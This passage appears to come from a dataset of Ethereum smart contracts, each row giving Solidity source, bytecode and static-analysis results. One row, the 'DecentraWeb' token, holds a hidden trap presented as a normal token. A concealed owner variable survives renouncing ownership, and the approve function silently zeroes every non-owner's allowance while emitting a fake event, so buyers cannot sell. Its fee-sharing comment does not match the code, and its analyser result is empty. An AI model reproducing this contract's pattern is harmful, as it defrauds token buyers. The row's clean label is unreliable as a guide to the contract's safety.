function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// Contrary to most ERC20 implementations, require that recipient is existing user.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(users[_to].canWithdrawPeriod != 0);
require(_value <= users[_from].karma);
require(_value <= allowed[_from][msg.sender]);
users[_from].karma = users[_from].karma.sub(uint64(_value));
users[_to].karma = users[_to].karma.add(uint64(_value));
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* Private Functions
*/
// Ensures that username isn't taken, and account doesn't already exist for
// user's address.
function newUser(address _addr, bytes20 _username, uint64 _endowment) private {
require(usernames[_username] == address(0));
require(users[_addr].canWithdrawPeriod == 0);
users[_addr].canWithdrawPeriod = currentPeriod + 1;
users[_addr].birthPeriod = currentPeriod;
users[_addr].karma = _endowment;
users[_addr].username = _username;
usernames[_username] = _addr;
newUsers = newUsers.add(1);
totalSupply = totalSupply.add(_endowment);
NewUser(_addr, _username, _endowment);
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ECRecovery.sol
function recover(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
} | 0x60606040526004361061015b5763ffffffff60e060020a60003504166306040618811461019a57806306fdde03146101c4578063095ea7b31461024e5780630ff8cf9b1461028457806318160ddd146102a957806319a50f49146102bc57806321d6cdb6146102ec57806323b872dd146103045780632893c5b01461032c578063313ce56714610358578063376d567c1461038157806338743904146103a05780633ccfd60b146103cf57806366188463146103e257806370a08231146104045780637dd10e4f1461042357806383b5ff8b146104365780638da5cb5b14610449578063900cf0cf1461045c57806395d89b411461046f578063a87430ba14610482578063a9059cbb146104eb578063ab1089151461050d578063aedd18dc1461054b578063b6f085c71461056a578063d73dd6231461058f578063dd62ed3e146105b1578063f2fde38b146105d6578063ffd9ca40146105f5575b33600160a060020a03167fd4f43975feb89f48dd30cabbb32011045be187d1e11c8ea9faa43efc352825193460405190815260200160405180910390a2005b34156101a557600080fd5b6101ad61066a565b60405161ffff909116815260200160405180910390f35b34156101cf57600080fd5b6101d761067b565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102135780820151838201526020016101fb565b50505050905090810190601f1680156102405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025957600080fd5b610270600160a060020a0360043516602435610719565b604051901515815260200160405180910390f35b341561028f57600080fd5b610297610785565b60405190815260200160405180910390f35b34156102b457600080fd5b61029761078b565b34156102c757600080fd5b6102cf610791565b60405167ffffffffffffffff909116815260200160405180910390f35b34156102f757600080fd5b6103026004356107a1565b005b341561030f57600080fd5b610270600160a060020a03600435811690602435166044356109a2565b341561033757600080fd5b610302600160a060020a036004351667ffffffffffffffff60243516610ba9565b341561036357600080fd5b61036b610cc3565b60405160ff909116815260200160405180910390f35b341561038c57600080fd5b610302600160a060020a0360043516610ccc565b34156103ab57600080fd5b6103b3610d16565b604051600160a060020a03909116815260200160405180910390f35b34156103da57600080fd5b610302610d25565b34156103ed57600080fd5b610270600160a060020a0360043516602435610e78565b341561040f57600080fd5b610297600160a060020a0360043516610f72565b341561042e57600080fd5b6102cf610f9e565b341561044157600080fd5b610297610fba565b341561045457600080fd5b6103b3610fc0565b341561046757600080fd5b610297610fcf565b341561047a57600080fd5b6101d7610fd5565b341561048d57600080fd5b6104a1600160a060020a0360043516611040565b6040516bffffffffffffffffffffffff19909416845267ffffffffffffffff909216602084015261ffff908116604080850191909152911660608301526080909101905180910390f35b34156104f657600080fd5b610270600160a060020a03600435166024356110a5565b341561051857600080fd5b610302600160a060020a03600435166bffffffffffffffffffffffff196024351667ffffffffffffffff60443516611226565b341561055657600080fd5b610302600160a060020a0360043516611251565b341561057557600080fd5b6103b36bffffffffffffffffffffffff19600435166112fe565b341561059a57600080fd5b610270600160a060020a0360043516602435611319565b34156105bc57600080fd5b610297600160a060020a03600435811690602435166113bd565b34156105e157600080fd5b610302600160a060020a03600435166113e8565b341561060057600080fd5b610302600480356bffffffffffffffffffffffff1916906024803567ffffffffffffffff16919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061148395505050505050565b600b54608060020a900461ffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600160a060020a033381166000818152600d6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60095481565b60015481565b600b5467ffffffffffffffff1681565b600080548190819033600160a060020a039081169116146107c157600080fd5b6007546224ea00014210156107d557600080fd5b6127108411156107e457600080fd5b6008549250612710600a548430600160a060020a031631030281151561080657fe5b04600160a060020a03301631849003819003600855600b5490925067ffffffffffffffff16905080151561083e57600060095561085a565b8067ffffffffffffffff1660085481151561085557fe5b046009555b600b546108869067ffffffffffffffff808216916801000000000000000090041663ffffffff61152516565b600b805461ffff608060020a6fffffffffffffffff00000000000000001967ffffffffffffffff9590951667ffffffffffffffff19909316929092179384168290048116600101160271ffffffffffffffffffff00000000000000001990921691909117905542600755600a849055600160a060020a03331682840180156108fc0290604051600060405180830381858888f19350505050151561092957600080fd5b7f95b96e1160963f28ab46857fdae15e1954dc91f74bb165bd4acaace3da7e22826001600b60109054906101000a900461ffff160330600160a060020a0316318360405161ffff9093168352602083019190915267ffffffffffffffff166040808301919091526060909101905180910390a150505050565b600160a060020a03821660009081526005602052604081205460e060020a900461ffff1615156109d157600080fd5b600160a060020a03841660009081526005602052604090205460a060020a900467ffffffffffffffff16821115610a0757600080fd5b600160a060020a038085166000908152600d602090815260408083203390941683529290522054821115610a3a57600080fd5b600160a060020a038416600090815260056020526040902054610a6e9060a060020a900467ffffffffffffffff168361154b565b600160a060020a0385811660009081526005602052604080822080546000805160206118ca8339815191521660a060020a67ffffffffffffffff9687168102919091179091559287168252902054610aca929190041683611525565b600160a060020a038085166000908152600560209081526040808320805467ffffffffffffffff9690961660a060020a026000805160206118ca833981519152909616959095179094558783168252600d8152838220339093168252919091522054610b3c908363ffffffff61156d16565b600160a060020a038086166000818152600d6020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600c5433600160a060020a03908116911614610bc457600080fd5b600160a060020a03821660009081526005602052604090205460e060020a900461ffff161515610bf357600080fd5b600160a060020a038216600090815260056020526040902054610c279060a060020a900467ffffffffffffffff1682611525565b600160a060020a038316600090815260056020526040902080546000805160206118ca8339815191521660a060020a67ffffffffffffffff93841602179055600154610c7491831661157c565b600155600160a060020a0382167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858260405167ffffffffffffffff909116815260200160405180910390a25050565b60045460ff1681565b60005433600160a060020a03908116911614610ce757600080fd5b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600c54600160a060020a031681565b33600160a060020a031660009081526005602052604090205460e060020a900461ffff161515610d5457600080fd5b600b5433600160a060020a0316600090815260056020526040902054608060020a90910461ffff90811660e060020a9092041610610d9157600080fd5b600b5433600160a060020a03166000818152600560205260409081902080547fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff16608060020a90940461ffff1660e060020a029390931790925560095460088054829003905590916108fc821502919051600060405180830381858888f193505050501515610e1f57600080fd5b6001600b60109054906101000a900461ffff160361ffff1633600160a060020a03167f3c2087c927c21c23a795035961330088c6b19c494bd629dc572ab937e026e37760095460405190815260200160405180910390a3565b600160a060020a033381166000908152600d6020908152604080832093861683529290529081205480831115610ed557600160a060020a033381166000908152600d60209081526040808320938816835292905290812055610f0c565b610ee5818463ffffffff61156d16565b600160a060020a033381166000908152600d60209081526040808320938916835292905220555b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526005602052604090205460a060020a900467ffffffffffffffff1690565b600b5468010000000000000000900467ffffffffffffffff1681565b600a5481565b600054600160a060020a031681565b60075481565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b6005602052600090815260409020546c0100000000000000000000000081029067ffffffffffffffff60a060020a8204169061ffff60e060020a82048116917e0100000000000000000000000000000000000000000000000000000000000090041684565b600160a060020a03821660009081526005602052604081205460e060020a900461ffff1615156110d457600080fd5b33600160a060020a031660009081526005602052604090205460a060020a900467ffffffffffffffff1682111561110a57600080fd5b33600160a060020a031660009081526005602052604090205461113e9060a060020a900467ffffffffffffffff168361154b565b33600160a060020a0390811660009081526005602052604080822080546000805160206118ca8339815191521660a060020a67ffffffffffffffff968716810291909117909155928716825290205461119b929190041683611525565b600160a060020a0380851660008181526005602052604090819020805467ffffffffffffffff9590951660a060020a026000805160206118ca833981519152909516949094179093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600c5433600160a060020a0390811691161461124157600080fd5b61124c83838361158e565b505050565b600c5433600160a060020a0390811691161461126c57600080fd5b600160a060020a03811660009081526005602052604090205460e060020a900461ffff16151561129b57600080fd5b600b54600160a060020a0390911660009081526005602052604090208054600161ffff608060020a90940484160190921660e060020a027fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600660205260009081526040902054600160a060020a031681565b600160a060020a033381166000908152600d60209081526040808320938616835292905290812054611351908363ffffffff61157c16565b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600d6020908152604080832093909416825291909152205490565b60005433600160a060020a0390811691161461140357600080fd5b600160a060020a038116151561141857600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316611507338585604051600160a060020a03939093166c010000000000000000000000000283526bffffffffffffffffffffffff1991909116601483015267ffffffffffffffff1678010000000000000000000000000000000000000000000000000260288201526030016040518091039020836117e9565b600160a060020a03161461151a57600080fd5b61124c33848461158e565b600082820167ffffffffffffffff808516908216101561154457600080fd5b9392505050565b600067ffffffffffffffff808416908316111561156757600080fd5b50900390565b60008282111561156757600080fd5b60008282018381101561154457600080fd5b6bffffffffffffffffffffffff198216600090815260066020526040902054600160a060020a0316156115c057600080fd5b600160a060020a03831660009081526005602052604090205460e060020a900461ffff16156115ee57600080fd5b600b8054600160a060020a038516600081815260056020908152604080832080547fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660e060020a608060020a9788900461ffff90811660019081018216929092029290921780845589547dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091169890049091167e0100000000000000000000000000000000000000000000000000000000000002969096176000805160206118ca8339815191521660a060020a67ffffffffffffffff8a8116919091029190911773ffffffffffffffffffffffffffffffffffffffff199081166c010000000000000000000000008c04179092556bffffffffffffffffffffffff198a1685526006909352922080549092169092179055915461173992680100000000000000009091041690611525565b600b80546fffffffffffffffff000000000000000019166801000000000000000067ffffffffffffffff9384160217905560015461177891831661157c565b6001557f8baf1e44852ec7ae4920f997f370a6122c6c7cf1541ff15e697990b710f36779838383604051600160a060020a0390931683526bffffffffffffffffffffffff19909116602083015267ffffffffffffffff166040808301919091526060909101905180910390a1505050565b600080600080845160411461180157600093506118c0565b6020850151925060408501519150606085015160001a9050601b8160ff16101561182957601b015b8060ff16601b1415801561184157508060ff16601c14155b1561184f57600093506118c0565b6001868285856040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156118b457600080fd5b50506020604051035193505b505050929150505600ffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffa165627a7a72305820a62b4fd0710614ed33e5dd7e15a80c4fc44f7b6f1c78b51a2d10a08cd504b68e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 628 |
0x504d81478dceaba131f9229e7794319b2383dc57 | /**
*Submitted for verification at Etherscan.io on 2021-10-10
*/
/*
This is to incentivize users to only spend $DWEB on relevant products, services, and staking, and to HODL tokens as long as possible!
If there is a sale, or transfer, the 10% sales fee breakdown will consist of the following model:
• 30% - Sent to Liquidity Provider stakers
• 20% - Sent to DWEB token stakers
• 25% - Sold to ETH and used for LP in DWEB/ETH pool
• 25% - Paired with above ETH and added as liquidity to DWEB/ETH poo
https://decentraweb.org
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DecentraWeb is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = ' DecentraWeb ';
string private _symbol = 'DWEB ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cbbad6942aa3bb25c2ae8d8535b294f45e76e744b2107d6d841f4caca519430f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 629 |
0xe3d27a24092f86b75dca6236e5aef1aa637abc8d | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FISHTANK is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Fish Tank";
string public constant symbol = unicode"FISHT";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 20;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
